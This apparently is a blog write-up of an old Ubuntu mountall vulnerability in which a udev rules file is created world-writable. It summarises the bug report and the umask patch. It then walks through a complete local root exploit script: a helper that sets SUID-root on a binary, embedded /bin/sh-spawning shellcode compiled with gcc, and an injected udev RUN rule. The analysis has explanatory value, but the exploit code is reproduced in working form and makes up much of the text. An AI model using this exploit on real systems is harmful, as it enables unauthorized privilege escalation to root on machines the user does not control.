This vulnerability was reported by Alasdair MacGregor and it’s as simple as this. The mountall(1) utility which is used as a mounting tool for UDEV rules, create rules that are owned by root and world writable! Example:

-rw-rw-rw- 1 root root 85 2010-10-08 22:04 /dev/.udev/rules.d/root.rules

If you read the bug tracking system’s comments you’ll probably notice Kees Cook’s comment who says:

Touching this file after initramfs boot doesn't seem to trigger a udev rules reload, so I think this file isn't actually being used by udev any more. That said, it should not be world-writable. Scott, can you confirm this can't be used to load arbitrary udev rules?

At last, the fix was to patch src/mountall.c like this:

if (root->mounted_dev != -1) { FILE *rules; + mask = umask (0022); mkdir ("/dev/.udev", 0755);

Which is a simple permissions addition using umask(2) system call as well as…

fclose (rules); } + umask (mask); } }

So, fuzz came up with an exploit shell script to take advantage of this issue. His exploit code is available here. Let’s see his code now…

#!/bin/sh # by fuzz. For Anux inc. # # ubuntu 10.04 , 10.10 if [ -z "$1" ] then echo "usage: $0 <UDEV KERNEL EVENT>" echo "see here http://www.reactivated.net/writing_udev_rules.html" exit fi

As you can read, the exploit code requires an argument which should be UDEV kernel event. Next we have:

cat > usn985-exploit.sh << EOF #!/bin/sh chown root:root $PWD/usn985-sc chmod +s $PWD/usn985-sc EOF

This will simply create another shell script file named ‘usn985-exploit.sh’ that will use chown(1) to update ‘usn985-sc”s owner and group to ‘root’ and add a SUID binary flag to it using chmod(1) utility. Of course, this file has to be present so the next part of his code will create that file.

cat > usn985-sc.c << EOF char *s="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main(){int *r;*((int *)&r+2)=(int)s;} EOF

Using a simple shell spawning shellcode and a call to it this C code will just spawn a shell. The exploit code will of course compile the newly created C source code file as you can read below.

gcc usn985-sc.c -o usn985-sc echo "KERNEL==\"$1\", RUN+=\"$PWD/usn985-exploit.sh\"" >> /dev/.udev/rules.d/root.rules chmod +x usn985-exploit.sh echo "All set, now wait for udev to restart (reinstall, udev upgrade, SE, raep, threat.)" echo "Once the conf is reloaded, just make the udev event happen : usn985-sc file will get suid-root"

And then write a new UDEV rule to ‘/dev/.udev/rules.d/root.rules’ that will use the user provided kernel event to execute the ‘usn985-exploit.sh’ script which will in turn make the shell spawning code a SUID root binary. Of course, ‘usn985-exploit.sh’ must be an executable file so this is what is done using chmod(1).